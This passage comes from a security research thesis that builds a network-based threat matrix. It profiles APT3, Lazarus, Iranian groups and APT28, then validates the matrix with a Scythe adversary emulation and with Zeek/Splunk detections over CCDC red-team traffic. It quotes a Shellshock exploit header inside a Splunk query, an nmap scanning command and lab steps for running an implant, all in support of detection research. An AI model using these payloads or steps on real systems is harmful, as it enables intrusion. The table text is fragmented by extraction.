● Clandestine Wolf [79] [81] 
● Clandestine Fox [79] [80] [81] 
● Operation Double Tap [79] [81] [82] 
Network techniques 
● Recon and weaponization 
○ No documented techniques for this category 
● Lateral movement 
○ SMB 
■ Target printers and file shares [79] 
■ RemoteCMD is a tool similar to PsExec to run remote commands [79] 
● SMB network commands, SMB remote service, SMB remote tasks 
[79] 
○ RDP 
■ APT3 replaced the sticky keys binary with cmd.exe and enabled Remote 
desktop [79] 
● Internal recon 
○ Remote system discovery, port scanner, ping scans [79]  
● Initial compromise 
○ Stager 
■ Malicious document leads to stager download [80] [82] 
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■ A browser exploit (CVE-2014-6332) lead to execution on the machine and 
a VBscript/Powershell script was pulled down [79] 
○ Exploits 
■ 0-day exploits on internet facing assets [79] 
■ 0-day exploits for windows machines [79] 
● Impersonation 
○ No documented techniques for this category 
● Evasion 
○ Custom protocol [79] 
■ Custom binary C2 protocols [79] 
○ Encryption 
■ Pirpi uses SSL for C2 communication [79] 
■ APT has sent encrypted RAR archive e-mail attachments [79] [80] 
○ Compression 
■ APT3 has been known to use a zip archive when spear phishing [79]  
■ Email attachments contained RAR archives  [79] [80] 
● DOS 
○ No documented techniques for this category [79] 
● Delivery 
○ Phishing 
■ Initial compromise is done with spear-phishing [79] [80] [82] 
● Malicious documents [79] [80] [82] 
○ Waterhole 
■ Initial compromise is done with waterhole attacks. APT3 has 0-day 
exploits for browsers [79] [84] 
● Command and control 
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○ FTP 
■ Pirpi uses  FTP for exfiltration [79] 
○ HTTP 
■ HTTP C2 with a set interval [79] 
■ Data has been exfiltrated over port 443 [79] 
○ Listening service 
■ PlugX has the ability to install telnet service [79] 
○ SOCKS5 
■ C2 server using port 1913 and SOCKS5 protocol [79] [82]  
● Actions on objective 
○ Exfiltration 
■ APT3 is interested in exfiltration of documents [79] 
■ Target intellectual property, specifically industrial [79] 
■ Pirpi has exfiltration functionality [79] 
Tools/malware  
● Pirpi [79]  [81] [83] [84] 
● SHOTPUT [83]] 
● Backdoor.APT  [83] 
● CookieCutter  [83] 
● PlugX [79] [83] 
● RemoteCMD [79] [83] [84] 
● ScanBox [79] [83] 
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Heat map 
This heat map shows all the techniques used by APT3 that exist on our matrix. 
 
Table 5: Our matrix vs. APT 3 
Key Count Percentage 
Techniques used by 
threat actor 14 31.11% 
New techniques 
discovered 2 4.44% 
Efficacy of matrix 7/8 85.71% 
Total number of 
techniques 45  
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Test case 2: Lazarus group 
Description 
Novetta’s report states “The attack against Sony Pictures Entertainment (SPE) was 
unprecedented in its media coverage and overt use of malicious destructive capabilities against 
a commercial entity. The SPE attack broke new ground not only as a destructive malware attack 
on a U.S. commercial entity but also due to the fact that the U.S. government attributed the 
attack to North Korea and enacted small reciprocal measures. While the debate over who was 
responsible – North Korea, hacktivists, or SPE employees – was the primary subject played out 
in the media, the attack presented much larger implications, such as how little resistance a 
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modern commercial enterprise is able to provide in the face of a capable and determined 
adversary with destructive intent.“ 
Aliases 
● Lazarus [86] [87] [88] [89] [94] [98] 
● Labyrinth Chollima [87] 
● Group 77 [87] 
● Hastati Group [87] 
● Whois Hacking Team [87] 
● New Romantic Cyber Army Team [87] 
● Zinc [87] [94] [98] 
● Hidden Cobra [87] [98] 
● Guardians of Peace [86] [98] 
● Nickel Academy [87] [98] 
● APT-C-26 [87] 
● APT38 [97] [99] 
● TEMP.Hermit [97] 
● WannaCry [97] 
● Andariel [89] [93] 
● Operation Blockbuster [86] [88] 
Network techniques 
● Recon and weaponization 
○ No documented techniques for this category 
● Lateral movement 
○ SMB 
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■ SorryBrute attempts to bruteforce SMB  [97] 
■ SMB brute-forcing credentials [86] 
○ Remote Desktop 
■ APT 38 used RDP [97] 
○ Exploit  
■ Malware sends commands to configuration management agent on hosts 
via a vulnerability to run arbitrary code by pretending to be the 
configuration management server. [89] 
● Internal recon 
○ Service enumeration 
■ Network tools to perform recon [86] 
○ Network sniffing 
■ IndiaBravo installs network monitoring library to monitor network [87] 
● Initial compromise 
○ Malicious stager 
■ PowerRatankba pulls down a Powershell script [96] 
■ PowerRatankba pulled down a fake PDF [96] 
■ Malicious documents downloaded malicious stager [88] [89] [92] [96] 
■ Malware downloads malicious tools and files [86] [89] [96] 
■ Downloaded malware upon successful exploitation of waterhole [89] 
○ Exploits 
■ Exploited configuration management systems to delivery malware or run 
arbitrary commands [89] 
■ Remote exploit by exploiting an Apache Struts2 server [97] 
■ Waterhole attacks to exploit browser vulnerabilities [89] 
● Impersonation 
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○ Trusted third party 
■ Compromised hosts/IP address within university IP spaces [86] 
■ Sent e-mails impersonating the national assembly member’s office [89] 
■ Malware infection through financial union website waterhole [89] 
■ Compromised e-mail and gaming servers to use as C2 proxies [86] [89] 
■ Malware sends commands to configuration management agent on hosts 




■ QuickRide uses TLS over HTTP for C2 communication  [97] 
■ Lazarus group used TLS for c2 communication against Sony [86] 
■ Exfil would encrypt documents [86] 
■ PowerRatankba commands from C2 are encrypted with DES [96] 
■ Encryption for C2 communication [86] [89] 
○ Encoding 
■ PowerRatankba commands from C2 are encrypted with Base64 [96] 
○ Covert comm [89] 
■ Covert communication channel using a port scanner [89] 
○ Custom protocol 
■ CheeseTray uses a custom binary protocol for C2  [97] 
○ Compression 
■ Javascript downloader was stored in ZIP [96] 
○ Public services 
■ PowerSpritz was stored on Google Drive [96] 
■ C2 addresses that were identified were public proxies [86]  
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■ PowerSpritz was delivered used TinyCC (link shortener liuke bit.ly) to 
distribute malware  [96]  
○ Custom obfuscation  
■ Custom implementation of TLS [86] 
● DOS 
○ HTTP flood  
■ July 4, 2009 a large scale DDOS attack on US and South Korean 
websites [86] [90]  
○ Unknown - Lazarus group used malware that contained DDOS functionality [86] 
■ April 2011 DDOS attack targets Nonghyup Bank [86] 
■ March 2011 DDOS attacks against the South Korean government, 
military, financial, corporate organizations, and US military entities [86] 
● Delivery 
○ Phishing 
■ Spear phishing with malicious attachments [86] [88] [89] [92] [96] [97] 
○ Waterhole 
■ Malware infection through financial union website waterhole [89] [95] [96] [97] 
■ Waterhole attacks to exploit browser vulnerabilities [89] 95] [97] 
○ Internal IT assets 
■ Instructed configuration management system to download malware via 
HTTP onto machines [89] 
○ Poisoned torrents 
■ Attackers compromised file-sharing sites such as torrent websites [86] 
● Command and control 
○ HTTP  
■ PowerRatankba utilizes HTTP for its C&C communication [97] [96] 
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■ QuickRide uses HTTPS to communicate with C2 [97]  
■ Malware has communicates with C2 with HTTP [89] 
○ TCP 
■ IndiaIndia TCP C2 + covert comm [87] 
○ Listening service 
■ APT38 planted backdoors and opened firewall ports [97] 
■ RemeoFoxtrott-Two is a server-mode RAT therefore it listens on a port [87] 
○ Webshell 
■ JspSpy used by APT38 is a webshell [86] 
○ Peer-to-peer 
■ Lazarus group used P2P malware against Sony [86] 
● Action on objectives 
○ Exfiltration 
■ RatanKbaPOS has the ability to scrape data and exfil to C2  [97] 
■ DarkComet was detected being used by APT38 and is capable of data 
exfil [L] 
■ Leakage of classified data such as aircraft drawing from defense 
contractors [89] 
■ Leakage of military data from military agencies [89] 
■ Leakage of customer PII from a travel agency [89] 
■ Malware can upload files [86] [87] [89] 
■ Exfiltrated movies, usernames, passwords, employee personal info, 
payroll info, employee termination, TV scripts, company e-mails, and IT 
details from the Sony network [86] 
○ Defacement 
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■ Lazarus group publicly released the data they stole from the Sony 
network [86] [91] 
Tools/malware  
● Aryan [89] 
● Gh0st [89] [96] 
● Andrat [89] 
● Andaratm [89] 
● Rifdoor [89] 
● Phandoor [89] 
● Port scanner [89] 
● NestEgg [97] 
● DyePack [97] 
● CheeseTray [97] 
● JspSpy [97] 
● QuickRide [97] 
● RatanKbaPOS [97] [96] 
● SorryBrute [97] 
● KeyLime [97] 
● PowerRatankba [96] 
● PowerSpritz [96] 
● IndiaAlfa [88] 
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Heat map 
This heat map shows all the techniques used by Lazarus that exist on our matrix. 
Table 6: Our matrix vs. Lazarus 
Key Count Percentage 
Techniques used by 
threat actor 24 52.17% 
New techniques 
discovered 3 6.52% 
Efficacy of matrix 8/9 88.89% 
Total number of 
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Test case 3: Iranian Cyber Espionage (APT 33, 34, 35, 39, 41) 
Description 
The report on this Iranian Cyber Espionage group states “a cyber espionage threat actor whose 
operations target the military and commercial aviation industries of the U.S. and the KSA, as 
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well as the petrochemical sectors of the KSA and South Korea. Operating since at least 
2013”.[100] The threat actor has been “noted for its recorded capabilities to engage in destructive 
cyberattacks, utilizing dormant TTPs that cybersecurity professionals have observed within the 
context of cyber espionage campaigns.” [100]  
Aliases 
● Iranian Cyber Espionage  [101] [103] [104] 
● Ajax Security Team [100] 
● APT 33, 34, 35, 39, 41 [101] [104] 
● Cadelle  [101] [104] 
● Chafer [101] [104] [106] 
● Charming Kitten [100] [101] [102] [104] [107] 
● Clever Kitten [100] [101] [104] 
● CopyKittens [101] [102] [109] 
● Elfin [104] [105] 
● Flying Kitten [100] [101] 
● Gholee [100] 
● Group 41[100] [104] 
● Group83 [104] 
● HelixKitten [100] [101] [104] 
● Magic Hound [100] [110] 
● Magnallium [104] 
● NewsBeef [104] 
● Newscaster [100] [104] 
● Oilrig [102] [104] [111]  
● Operation Cleaver [100] [108] 
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● Operation Saffron Rose [100] 
● Operation Woolen-Goldfish [100] 
● Parastoo [104] 
● Rocket Kitten [100] [101] [102] 
● Thamar Reservoir [100] [102] 
Network techniques 
● Recon and weaponization 
○ Vulnerability scanner 
■ Metasploit, SQLMap, Acunetic, Netsparker, and WSO web shell were 
used to scan and attack targets [100] 
■ Volatile  Cedar typically targeted web servers and performed vulnerability 
scans [100] 
● Lateral movement 
○ Mimikatz [100] 
■ Operation Cleaver used Mimikatz to pivot the network [100] 
○ SSH 
■ POWBAT uses SSH for lateral movement [100] 
○ RDP 
■ Operation Cleaver used RDP to run commands [100] 
■ POWBAT uses RDP for lateral movement [100] 
○ SMB 
■ POWBAT uses SMB for lateral movement  [100] 
■ Operation Cleaver used PsExec to move laterally [100] 
○ Windows Management Instrumentation (WMI) [100] 
● Internal recon 
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○ Network sniffing 
■ The malware MPK has the ability to perform traffic monitoring [100] 
○ Service enumeration  
■ Powersploit for internal reconnaissance [100] 
● Initial compromise 
○ Externally exposed services [100] 
■ APT39 brute-forced externally exposed services such as Outlook [100] 
○ Exploit 
■ Leafminer established an initial compromise with known network 
vulnerabilities [100] 
■ Leafminer searched for vulnerable SMB servers, specifically MS17_10 
[100] 
■ APT 39 exploited vulnerable web servers [100] 
○ SQL injection 
■ Operation Cleaver used SQL injection to achieve initial compromise [100] 
● Double-encoded its SQL injection payloads to bypass WAF 
○ Malicious stager 
■ DownPaper is a dropper that downloads more malware [102] 
■ Operation Woolean-Goldfish used a malicious document to instruct the 
machine to pull down CWOOLGER [100] 
■ Embedded code in malicious document downloaded ALFASHELL [100] [103] 
■ Embedded code in malicious document downloaded a customized 
version of Mimikatz and a batch file [100] 
■ After exploiting the CVE-2017-11882 vulnerability with a malicious 
document the next step would be to pull malicious Powershell script [100] 
● Impersonation 
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○ ARP spoofing 
■ Operation clever created malware code name JASUS to perform ARP 
spoofing [100] 
○ Trusted third party 
■ Charming Kitten sends thousands of phishing emails which contain 
TinyURL links [102] 
■ Charming Kitten sends thousands of phishing emails using Gmail [102] 
■ Thmar Reservoir campaign compromised a legitimate Israeli research 
institute to send e-mails as [100] 
○ Illegitimate services and sites [100] 
■ Setup illegitimate websites to offer free classes for Aerospace. This 
website requested users to install a malicious Adobe Flash [100] 
■ Setup illegitimate sites for credential collection [100] 
● Yahoo, Google, AOL, Outlook 
○ Domain spoofing 
■ Charming Kitten spoofs a domain for “Google downloads” [102] 
■ APT39 used domain spoofing to deliver POWBAT [100] 
■ Used domain spoofing to resemble legitimate companies such as Boeing, 
Northrop Grumman Aviation Arabia, Alsalam Aircraft Company, and 
Vinnell Arabia [100] [103] 
● Evasion 
○ Public services 
■ Operation Woolean-Goldfish used public services such as Microsoft 
OneDrive to host malicious executables [100] 




■ DownPaper base64 encodes the URL to download stager [102] 
■ Operation Cleaver double-encoded it’s SQL injection payloads to bypass 
WAF [100] 
○ Encryption 
■ GHOLEE used encryption for data exfiltration [100] 
■ TEMP.Zagros supports encryption for C2 [100] 
■ DUSTYSKY used HTTPS for C2 [100] 
○ Compression 
■ Molerats used RAR files to hide malicious document [100] 
■ Exfiltrate data using WinRAR [100] 
○ Custom obfuscation 
■ EXPLOSIVE used custom obfuscation for C2 [100] 
■ After an initial compromise from a malicious document the C2 
communication used obscured communication [100] 
● DOS 
○ No documented techniques for this category 
● Delivery 
○ Waterhole 
■ Charming Kitty uses BEEF exploitation to exploit browsers [102] 
■ WhatsApp messages were sent in order to drive targets to a waterhole 
■ Leafminer established initial compromise [100] 
■ Phishing e-mails containing links to illegitimate websites with instructions 
to install malware [100] 
○ Phishing 
■ Charming Kitten sends thousands of phishing emails using Gmail [102] 
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■ Operation Woolean-Goldfish used phishing to deploy malicious 
documents that contained the malware CWOOLGER. [100] 
■ Spear phishing campaign used to deliver “Operation Protective 
Edge.xlsb”, this malware is called GHOLEE [100] 
■ Spear phishing campaign targeted workers in the aviation industry [100] [103] 
● Command and control 
○ HTTP 
■ DownPaper uses HTTP for C2 [102] 
■ DUSTYSKY used HTTPS for C2 [100] 
■ Operation Cleaver used HTTP to exfil data and C2 [100] 
○ SMTP [100] 
■ Operation Cleaver used SMTP to exfil data and C2 [100] 
○ SSH [100] 
■ Operation Cleaver used SSH to exfil data [100] 
○ IRC 
■ IRC was used for bot-based malware [100] 
■ MagicHound had the ability to use IRC for C2 [100] 
○ FTP [100] 
■ CWOOLGER used FTP for C2 and data exfil [100] 
■ APT33 FTP was used for data exfil to C2 [100] 
■ Operation Cleaver used FTP to exfil data [100] 
○ DNS 
■ Data exfiltration would be performed through the use of DNS queries [100] 
■ DNS queries were used to communicate with C2 servers [100] 
● Actions on objective 
○ Exfil 
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■ DUSTYSKY, CROSSRAT, TEMP.Zagros, GHOLEE, Stealer,  
QUADAGNET, supports exfil functionality [100] 
■ APT 33, 34, 35, 39, 41 performed data exfil [100] 
■ Collect intelligence on the military aviation capabilities of the KSA and 
South Korea petrochemical companies [100] 
Tools/malware  
● ALFASHELL [100] [103] 
● Mimikatz [100] 
● DUSTYSKY [100] 
● CROSSRAT [100] 
● DROPSHOT [A] [103] 
● TURNEDUP [100] [103] 
● SHAPESHIFT [100] 
● HELMINTH [100] 
● TINYZBOT [100] 
● QUADAGNET [100] 
● MPK [100] 
● CWOOLGER [100] 
● GHOLEE [100] 
● Puppy - Python based RAT [100] 
● MagicHound [100] 
● JASUS [100] 
● TEMP.Zagros [100] 
● EXPLOSIVE [100] 
● Leafminer [100] 
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● POWBAT [100] 
● DownPaper [102]  
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Heat map 
This heat map shows all the techniques used by Iranian Cyber Espionage groups that exist on 
our matrix 
Table 7: Our matrix vs. Cyber Espionage groups 
Key Count Percentage 
Techniques used by 
threat actor 24 48.98% 
New techniques 
discovered 6 6.12% 
Efficacy of matrix 4/5 80.00% 
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Total number of 
techniques 49  
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Test case 4: APT 28 
Description 
MITRE states “APT28 is a threat group that has been attributed to Russia's Main Intelligence 
Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. 
This group reportedly compromised the Hillary Clinton campaign, the Democratic National 
Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to 
interfere with the U.S. presidential election. APT28 has been active since at least 2004.” [116]   
Aliases 
● APT28 [112] [113] [114] [115] [116] [120] [122] [124] [125] [126] 
● Sofacy [113] [114] [115] [116] [120] [121] [122] [124] [126] 
● Fancy Bear [115] [116] [121] [124] 126] 
● Sedint [115] [116] [124] 
● Group 74 [115] [116] 
● TG-4127 [115] [116] 
● Pawn Storm [115] [116] [120] 124] 
● Tsar Team [115] [116] 
● Strontium [115] [116] [126] 
● Swallowtail [115] [116] 
● SIG40 [115] 
● Snakemackerel [115] [116]  
● Iron Twilight [115] 
● Grizzly Steppe [115] [117] 
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Network techniques 
● Recon and weaponization 
○ Port scan 
■ APT28 scans IP addresses to identify open ports [113] 
● Port scan used nmap: “nmap -T5 -p 
21,22,23,25,80,110,143,443,465,993,995,11 
8080,7071,3389,5900 -sV -O --version-light -script=banner  --
script=http=header -oX <outfile name> -iL <input filename>” [113] 
○ Vulnerability scanning 
■ If, APT28 port scan return open ports then vulnerability scans are 
performed [113] [117] [125] 
● Lateral movement 
○ No documented techniques for this category 
● Internal recon 
○ Service enumeration 
■ APT28 scanned the MIA internal network [112] 
● Initial compromise 
○ Exploits 
■ Exploitation of previously known vulnerabilities present on unpatched 
systems. [125] 
○ Malicious stager 
■ APT28  has been known to pull down malware/tools after dropper is 
executed [113] [117] [121] [122] [126] 
■ Komplex sole purpose is to download and execute a file [114] [124] 
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■ SOURFACE is a dropped which is typically a malicious document used to 
download stager [112] [125] 
■ CORESHELL downloads and executes payloads [112] [125] 
● Impersonation 
○ Domain spoofing 
■ APT28 purchased typosquatted domains [112] [117] [118] [125] 
■ APT28 registered at least two domains mimicking the domains of 
legitimate organizations in the Caucasus [112] 
■ APT28 has registered domains similar to those of the legitimate Eastern 
EUropean news sites and governments  [112] 
● Evasion 
○ Anonymous services 
■ APT28 uses TOR [117] 
○ Custom obfuscation 
■ CORESHELL uses a custom steam cipher [112]  
○ Encoding 
■ Komplex malware uses Base64 [114] [124]  
■ CORESHELL uses Base64 [112] 
■ CHOPSTICK encoded URLS with Base64 [112] [122] 
○ Public services 
■ Used link shortener services [126] 
○ Encryption 
■ Komplex malware uses RC4 encryption [114]  
■ CHOPSTICK uses RC4 encryption  [112] 
■ APT28 uses RSA encryption to protect exfil [112] 
● DOS 
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○ No documented techniques for this category  
● Delivery 
○ Waterhole 
■ Used typosquatted domains to serve a malicious iFrame for Java and 
Flash zero-days [113] [118] [119] [120] [125] 
○ Phishing 
■ Komplex is disguised as a PDF document [114]  
■ APT28 does phishing campaigns and the e-mails contained malicious 
attachments [112] [113] [117] [119] [120] [122] [124] [125] [126] 
● Command and control 
○ HTTP 
■ Zebrocy uses HTTP for C2 communication [126] 
■ Komplex uses HTTP for C2 communication [114] [124] 
■ APT28 uses HTTP for C2 communication [112] [113] [121] [122] 
■ CORESHELL uses HTTP for C2 communication [112] [119] 
■ CHOPSTICK uses HTTP for C2 communication [112] [119] 
○ FTP 
■ Komplex malware has the capability to exfiltrate data via FTP [114]  
○ SMTP [112] 
■ APT28 used SMTP to exfiltrate network recon data of the network to the 
C2 [112] 
■ CHOPSTICK uses SMTP for C2 communication [112] 
● Actions on objective 
○ Defacement 
■ APT28 defaced the WADA website [125] 
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■ APT28 leaks documents stolen from WADA online via a tweet on Twitter 
[125] 
○ Exfiltration 
■ APT28 gains access to an International Olympic Committee account 
created specifically for the 2016 Olympic Games, and views and 
downloads athlete data. [125] 
■ Komplex malware has the capability to exfiltrate data [114]  
■ Zebrocy malware has the capability to exfiltrate data [126] 
■ APT28 exfil key logged data to C2 [112] 
■ APT28 exfiltrated sensitive files, emails, and user credentials [117] 
■ APT28 used SMTP to exfiltrate network recon data out of the network  [112] 
Tools/malware  
● CHOPSTICK [112] [125] 
● CORESHELL [112] [125] 
● SOURFACE [112]  [125] 
● Zebrocy [126] 
● Komplex [114] [124] 
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Heat map 
This heat map shows all the techniques used by APT28 that exist on our matrix. 
Table 8: Our matrix vs. APT28  
Key Count Percentage 
Techniques used by 
threat actor 15 32.61% 
New techniques 
discovered 3 6.52% 
Efficacy of matrix 5/6 83.33% 
Total number of 
techniques 46  
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Matrix heatmap - Experiment 1 
Table 9: Experiment one - efficacy of our matrix vs. APT reports 
Key Count Percentage 
Technique observed 
by 1 threat actors 13 24.07% 
Technique observed 
by 2 threat actors 7 12.96% 
Technique observed 
by 3 threat actors 6 11.11% 
Technique observed 
by 4 threat actors 8 14.81% 
New technique 
discovered being used 
by 1 threat actor 9 16.67% 
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New technique 
discovered being used 
by 2 threat actors 2 3.70% 
New technique 
discovered being used 
by 3 threat actors 0 0.00% 
New technique 
discovered being used 
by 4 threat actors 0 0.00% 
Efficacy of matrix 34/45 75.56% 
Total number of 
techniques 54 83.33% 
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Experiment 2: Adversary emulation tool  
Start data collection 
1. Log into Zeek via SSH 
2. /opt/zeek/bin/zeekctl restart 
a. This will clear the “current” log directory and start capturing traffic 
3. tcpdump -i <network tap interface> -s 0 -w experiment_2_adversary_emulation.pcap 
a. -i : Interface to capture network traffic from 
b. -s : Capture byte size - 0 is the maximum 
c. -w: Output file 
Weaponizing a document 
1. Log into Scythe 
2. Select “Migrate threats” under “Threat management” 
a. Select “Choose file” 
b. Upload Appendix: Scythe APT3 campaign config 
3. Select “New campaign” under “Campaign Manager” on the left 
4. New campaign 
105 
a. Enter “APT3-campaign” as the name 
b. Select “Windows” as the target operating system 
c. Leave all other settings as default 
d. Check “Automate actions” 
e. Select “Next” 
5. Automate campaign 
a. Select “Existing threats” 
i. Select “APT3-thesis” 
ii. Select “Add steps” 
b. Select “Next” 
6. Deliver Campaign 
a. Select “Physical” for Deliver 
b. Select “Start campaign” 
7. Select “Campaign list” under  “Campaign Manager” 
8. Select “APT3-campaign” 
9. Select the drop-down menu and select “Direct-Download link” 
10. Copy URL for “64-bit EXE” 
Detonating implant 
1. RDP into Windows 10 client named Saturn 
2. Open a web browser 
3. Enter the URL from above 
4. Execute the malicious binary 
5. Go back to Scythe console  
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Watching campaign 
1. Select “Campaign list” under  “Campaign Manager” 
2. Select “APT3-campaign” 
3. Select “SATURN” 
Splunk queries 
This section contains a table of Splunk queries that were used to detect malicious traffic 
performed by the adversary emulation. Each row in the table has the following columns: attack 
theme, technique, zeek log source, Splunk query, detection, and references. Each row in the 
table demonstrates the detection of a technique from our matrix and each row validates a 
particular technique. The attack theme and technique column refer to the location of a particular 
technique on our matrix that was detected. 
 
The “Zeek log source” column provides which log contains the entries that demonstrate a 
particular technique being operationalized. The Splunk query contains the query that can be 
used on the dataset to reproduce our findings. The detection column is an explanation of the 
entries found and why they represent a technique. Lastly, the references section cites the 
resources used to create that detection.  
 






Splunk query Detection References 
1 Lateral 
movement 




This query shows lateral movement via 
















This query shows lateral movement via 





3 Evasion Encryption ssl.log index="zeek_apt3" 
source="*ssl*" | top 
limit=3 ja3 
This will show the top 3 JA3 hash seen 
by Zeek.  The JA3 hash used by Scythe 







HTTP conn.log index="zeek_apt3" 
source="*conn*" 
"id.resp_p"=443 
Traffic is going to a known HTTPS port 
and the connection is not persistent like 




5 Actions on 
objectives 





This will create a graph showing all the 




Matrix heatmap - Experiment 2 
Table 11: Efficacy our matrix vs. APT3 adversary emulation 
Key Count Percentage 
Technique was not 
seen in the Zeek logs 1 20.00% 
Technique discovered 
in Zeek logs 4 80.00% 
Efficacy of matrix 4/5 80.00% 
Total 5 100.00% 
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Experiment 3: 2017 National Collegiate Cyber Defense 
Competition (CCDC) PCAP dataset 
Splunk queries 
This section contains a table of Splunk queries that were used to detect malicious traffic 
performed by the NCCDC red team. Each row in the table has the following columns: attack 
theme, technique, Zeek log source, Splunk query, detection, and references. Each row in the 
table demonstrates the detection of a technique from our matrix and each row validates a 
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particular technique. The attack theme and technique column refer to the location of a particular 
technique on our matrix that was detected. 
 
The “Zeek log source” column provides which log contains the entries that demonstrate a 
particular technique being operationalized. The Splunk query contains the query that can be 
used on the dataset to reproduce our findings. The detection column is an explanation of the 
entries found and why they represent a technique. Lastly, the references section cites the 
resources used to create that detection.  
 
For example, the “vulnerability scanning” technique was discovered in the Zeek logs. This 
technique is from the recon and weaponization attack theme column on our matrix. The 
“http.log” Zeek log was used to detect this technique and the Splunk query used was 
“index="zeek-nccdc" user_agent=’*Nikto*’”. The detection column describes that the Splunk 
query is looking for the string “nikto” in the user_agent field in the Zeek http.log. The reference 
section provides cites resources backing up our findings and detection method. Lastly, this 
validates “vulnerability scanning” as a technique on our heatmap (Figure 20: CCDC heatmap of 
techniques) for this experiment. 
 



















































Zeek was able to detect scanning 
activity to detect vulnerable 
workstations. In addition, Zeek noticed 
some scanner looking for SMBv1 which 

































This query shows port scans detected 







HTTP http.log index="zeek-nccdc" 
source="http” | rare 
user_agent | sort count 
| rename 
http_user_agent as 
"User Agent", count as 
Count, percent as 
Percent 








HTTP http.log index="zeek-nccdc" 
source="http"  | rare 
id.orig_h | sort count | 
rename id.orig_h as 
Host, count as Count, 
percent as Percent 













This request came from the red team 
subnet which out of scope but this is an 
example of how to detect attacker 
tooling. The “MSFX” user-agent is used 
by Metasploit when updating. This user-
agent came to our attention by detecting 








og source="http"  
user_agent="() { _; } 
>_[$($())] { echo 
Content-Type: 
text/plain ; echo ; echo 
\"bash_cve_2014_627
8 Output : $((4+65))\"; 
}" 
attempting to exploit CVE-2014-6278 












This request shows the red team 
attempting to exploit an RCE 
vulnerability in TikiWiki. Plus the user-














0 (compatible; MSIE 
6.0; Windows NT 5.2; 
WOW64; SV1)" 
This HTTP request shows Windows XP 
SP2 downloading FileZilla from an IP 
address. In addition, VirusTotal has no 
knowledge of this hash. I went a step 
further and downloaded the exact 















.00 (Nikto/2.1.6) *"  
user_agent="Wget/1.1
8 (linux-gnu)" 
This HTTP request shows a download 
for a perl webshell. In addition, we know 
















These HTTP requests show the red 
team attempting to use SQLMAP to 











index="http" uri="*.exe" This will show all the URLs that contain 
references to downloading Windows 
executables. Some of the names 













This will show all the VNC connects 







As a bonus, we can see the red team 
Googling up how to use rdesktop 
16 Lateral 
movement 
RDP rdp.log index="rdp" This query will show all the RDP 
connections made from the red team IP 












This request shows the red team 
attempting to exploit an RCE 
vulnerability in TikiWiki. Plus the user-










This query shows red team using SSH 











This query shows PsExec being used to 














This query is showing red team 














This query can be used to pivot to the 












This query will raise awareness to 
protocols Zeek can not parse. This may 











This query can be used to pivot to the 















This Splunk query will show all 
connections initiated by red team to the 















































conn_state only showing connections 
that were accepted.  
 
These entries will be possible indicators 
that malicious listeners exist on the blue 













conn_state != REJ 
proto !=icmp 







This query is an example of red team 









This query will show all the SSL 
connections with a particular JA3 hash. 
This JA3 hash is associated with 
connections initiated from blue team 










This query will show all connections that 
exceed 50 MB/s or 100MB transferred. 








Websell http.log index="zeek-nccdc" 
source="*http*" 
"*whoami*" 
This query shows red team using 
webshells to run commands (specifically 














This query shows Windows being used 
to enumerate the network shares on the 
network. This is one way to detect 












This query shows WMI being used to 






31 Evasion Compression files.log index="zeek-nccdc" 
source="*files*" zip  
This query shows red team uploading a 













This query shows all the Metasploit 
reverse shells that used TCP 
[196] 
[233] 
33 Actions on 
objective 




This query shows the status codes of 
servers over time. At certain periods 
throughout the competition there are 
huge spikes in HTTP status codes 404 
(resources not found). This is an 
indication of the red team bringing down 
the website and a form of defacement 
[214] 
[215] 







This query is a bas64 payload that is 








proto="udp" | stats 
dc(uid) BY id.resp_h 
This query will show the total number of 
UDP connections to a specific endpoint. 
The graph generated shows a HUGE 
spikes in traffic which indicate a flood of 











id.resp_p=443) | stats 
dc(uid) BY id.resp_h 
This query will show the total number of 
TCP connections to a specific endpoint. 
The graph generated shows a HUGE 
spikes in traffic which indicate a flood of 




37 DOS HTTP flood conn.lo
g 
index="zeek-nccdc" 
source="*http*" | stats 
dc(uid) BY id.resp_h 
This query will show the total number of 
HTTP to a specific endpoint. The graph 
generated shows HUGE spikes in traffic 















This query shows emails to a mail 
server with the “/bin” path in them, 

















































This query shows all connections 
initiated from blue team Windows 


























This query shows all the files being 
transfered that the MIME couldn’t be 
identified. This is one way of obscuring 





FTP ftp.log index="zeek-nccdc" 
source="*ftp*" 
command=STOR  
This query shows red team pushing files 
to the server and these files could 












| top  query limit=200 
This query will show you the top DNS 
queries made over the span of the 
competition. A couple of the domains 




Matrix heatmap - Experiment 3 
This heatmap is validating the techniques on our matrix and any new techniques we have 
discovered. Based on our analysis of the 2017 NCCDC PCAP dataset their red team used 36 
techniques out of a total of 54 techniques.  
 
Table 13: Efficacy of our matrix vs. 2017 NCCDC red team 
Key Count Percentage 
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Technique was not 
observed in the Zeek 
logs 18 33.33% 
Technique observed 
in Zeek logs 36 66.67% 
Efficacy of matrix 2/3 66.67% 
Total 54 100.00% 
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Matrix heatmap - All experiments 
Table 15 (Table 14: Coloring scheme for techniques on all experiments) contains a coloring 
scale for our matrix for all the experiments to generate a heatmap. The coloring scale contains 4 
color levels with their respective score which are Red (0.00), Yellow (1.00), Orange (2.00), and 
Green (3.00).  
 
A heatmap is generated using the previous heatmaps from each experiment. If a technique has 
a score of 0 it is assigned the color Red, which means that technique was not observed in any 
of our experiments. If a technique has a score of 1.00 it is assigned the color Yellow, which 
means that technique was observed in one our of our experiments. If a technique has a score of 
2.00 it is assigned the color Orange, which means that technique was observed in two of our 
experiments. If a technique has a score of 3.00 it is assigned the color Green, which means that 
technique was observed in three of our experiments. The heatmap generated (Figure 21: 
Heatmap of our matrix vs. all experiments) displays the prevalence of a technique on our matrix 
based in our experiments.  
  
Table 14: Coloring scheme for techniques on all experiments 
Scale Integer Count Percentage 
Technique 
observed in 0 
experiments 0.00 4 6.90% 
Technique 




observed in 2 
experiments 2.00 34 58.62% 
Technique 
observed in 3 
experiments 3.00 4 6.90% 
Total  58 100.00% 
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This paper demonstrates that APTs have the capabilities and resources to develop advanced 
tools used to thwart security controls, and the time, money, and personnel to maintain a 
presence on a network. In addition to APTs being able to evade security controls, some APTs 
have been known to have a dwell time greater than 700 days on a network [151].  
 
Our research changes the current landscape of MITRE ATT&CK by providing a network-based 
matrix. This research provides a framework that can be used as a common language to 
describe the actions on APTs on a network. Furthermore, by coupling the existing MITRE 
ATT&CK matrix and our matrix you can ensure the creation of effective hunts to reveal APTs 
within your environment. Lastly, the combination of these two matrices can reduce the dwell 
time of an attacker on the network. 
Missing techniques 
The researchers acknowledge that the matrix is missing techniques. Below is a list of 
hypotheses from the researchers as to why techniques are not present. For the hypotheses 
below, the researchers produced a survey for the Infosec community that will be released after 
